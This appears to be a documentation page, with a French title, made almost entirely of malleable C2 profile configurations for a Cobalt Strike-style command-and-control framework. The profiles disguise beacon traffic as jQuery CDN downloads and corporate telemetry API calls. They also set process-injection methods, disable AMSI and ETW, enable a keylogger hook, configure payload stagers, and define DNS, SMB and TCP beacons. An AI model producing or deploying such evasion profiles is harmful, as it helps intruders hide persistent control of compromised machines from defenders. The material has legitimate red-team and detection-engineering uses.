Profils C2 malléables¶

set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/submit";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            header "X-Request-ID";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

http-get {
    set uri "/path1 /path2";  # Space-separated URIs (random selection)
    set verb "GET";            # Optional, defaults to GET for http-get
    client { ... }
    server { ... }
}

http-post {
    set uri "/api/v1/submit";
    set verb "POST";           # Optional, defaults to POST for http-post
    client { ... }
    server { ... }
}

client {
    header "Accept" "application/json";
    header "Accept-Language" "en-US";

    metadata {
        base64url;
        prepend "session=";
        header "Cookie";
    }
}

client {
    header "Content-Type" "application/json";

    id {
        base64url;
        header "X-Request-ID";
    }

    output {
        mask;
        base64;
        print;
    }
}

server {
    header "Content-Type" "application/json";
    header "Cache-Control" "no-cache";

    output {
        mask;
        base64;
        print;
    }
}

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js";
    client {
        header "Accept" "text/javascript";
        metadata {
            base64;
            prepend "return-value=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/javascript";
        output {
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation */\n";
            print;
        }
    }
}

metadata {
    base64;              # 1. Base64-encode the raw metadata bytes
    prepend "session=";  # 2. Prepend "session=" to create a cookie value
    header "Cookie";     # 3. Place the result in the Cookie header
}

output {
    mask;                # 1. XOR with random 4-byte key (key prepended)
    base64;              # 2. Base64-encode the masked data
    append "<!-- page content -->";  # 3. Append HTML comment
    print;               # 4. Place in HTTP body
}

http-stager {
    set uri_x86 "/api/v1/updates/x86";
    set uri_x64 "/api/v1/updates/x64";
    client {
        header "Accept" "application/octet-stream";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

http-config {
    set trust_x_forwarded_for "true";
    set block_useragents "curl wget python";
    set allow_useragents "*";
    set headers "Date, Server, Content-Length";
    header "Server" "Microsoft-IIS/10.0";
    header "X-Powered-By" "ASP.NET";
}

https-certificate {
    set C "US";
    set CN "www.example.com";
    set O "Example Corp";
    set OU "IT Department";
    set L "New York";
    set ST "New York";
    set validity "365";
    set keystore "keystore.p12";
    set password "changeit";
}

code-signer {
    set keystore "codesign.p12";
    set password "changeit";
    set alias "codesign";
    set digest_algorithm "SHA256";
    set timestamp "true";
    set timestamp_url "http://timestamp.digicert.com";
}

process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "16384";
    set startrwx "false";
    set userwx "false";

    transform-x86 {
        prepend "\x90\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90\x90";
    }

    execute {
        CreateThread;
        CreateRemoteThread;
        SetThreadContext;
        RtlCreateUserThread;
        NtQueueApcThread-s;
    }
}

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
    set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set etw_disable "true";
    set pipename "msagent_##";
    set keylogger "SetWindowsHookEx";
    set cleanup "true";
}

stage {
    set sleep_mask "true";
    set syscall_method "Indirect";
    set obfuscate "true";
    set cleanup "true";
    set userwx "false";
    set rdll_loader "PrependLoader";
    set stomppe "ntdll.dll";
    set module_x64 "xpsservices.dll";

    transform-x86 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-x64 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-obfuscate {
        rc4 "64";
        base64;
    }
}

stage {
    beacon_gate {
        set mode "Core";
        # Or add individual APIs:
        # VirtualAlloc;
        # CreateRemoteThread;
    }
}

dns-beacon {
    set dns_idle "0.0.0.0";
    set dns_max_txt "252";
    set dns_sleep "0";
    set dns_ttl "1";
    set beacon "d.example.com";
    set get_A "d1.example.com";
    set get_AAAA "d2.example.com";
    set get_TXT "d3.example.com";
    set put_output "d4.example.com";
}

smb-beacon {
    set pipename "msagent_##";
    set pipename_stager "status_##";
    set smb_frame_header "";
}

tcp-beacon {
    set tcp_port "4444";
    set tcp_frame_header "";
}

http-beacon {
    set library "wininet";
    set data_required "true";
    set data_required_length "100-200";
}

# jQuery CDN Traffic Profile
# Mimics requests to a jQuery CDN for C2 communication

set sleeptime "30000";
set jitter "25";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
set data_jitter "50";

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js /jquery-3.6.0.slim.min.js /jquery-3.7.1.min.js";

    client {
        header "Accept" "text/javascript, application/javascript, */*";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Referer" "https://code.jquery.com/";

        metadata {
            base64url;
            prepend "__cf_bm=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "public, max-age=31536000";
        header "X-Content-Type-Options" "nosniff";
        header "Access-Control-Allow-Origin" "*";

        output {
            mask;
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";";
            append "\n}(window);";
            print;
        }
    }
}

http-post "jquery" {
    set uri "/jquery-3.6.0.min.map /jquery-3.7.1.min.map";

    client {
        header "Content-Type" "application/json";
        header "Accept" "application/json";

        id {
            base64url;
            parameter "v";
        }

        output {
            mask;
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Cache-Control" "no-store";

        output {
            mask;
            base64;
            prepend "{\"version\":\"3.6.0\",\"sources\":[],\"mappings\":\"";
            append "\"}";
            print;
        }
    }
}

# Corporate Intranet API Profile
# Mimics traffic to an internal telemetry/status API

set sleeptime "15000";
set jitter "30";
set useragent "TelemetryAgent/2.1 (Windows NT 10.0; Enterprise)";

# Work hours: 8 AM - 6 PM Eastern, triple sleep outside hours
set work_hours_start "8";
set work_hours_end "18";
set off_hours_sleep_mult "3.0";
set work_hours_tz "America/New_York";

# TLS fingerprint matching the User-Agent
set tls_fingerprint "chrome_auto";

http-get {
    set uri "/api/v1/status /api/v1/health /api/v1/config";

    client {
        header "Accept" "application/json";
        header "X-API-Version" "2.1";
        header "X-Client-Platform" "win10-enterprise";

        metadata {
            base64url;
            header "X-Session-Token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "X-Request-Id" "a]b1c2d3-e4f5-6789-abcd-ef0123456789";
        header "Cache-Control" "no-cache, no-store";

        output {
            mask;
            base64;
            prepend "{\"status\":\"ok\",\"timestamp\":\"2026-01-15T10:30:00Z\",\"data\":\"";
            append "\",\"version\":\"2.1.0\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v1/telemetry /api/v1/events";

    client {
        header "Content-Type" "application/json";
        header "X-API-Version" "2.1";

        id {
            base64url;
            header "X-Correlation-ID";
        }

        output {
            mask;
            base64;
            prepend "{\"events\":[{\"type\":\"metric\",\"payload\":\"";
            append "\"}]}";
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            mask;
            base64;
            prepend "{\"accepted\":true,\"id\":\"";
            append "\"}";
            print;
        }
    }
}

# Harden staging
http-stager {
    set uri_x86 "/api/v1/updates/agent-x86";
    set uri_x64 "/api/v1/updates/agent-x64";
    client {
        header "Accept" "application/octet-stream";
        header "X-Update-Channel" "stable";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

# Post-exploitation OPSEC
post-ex {
    set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
    set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set pipename "telemetry_##";
}

set tls_fingerprint "chrome_auto";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";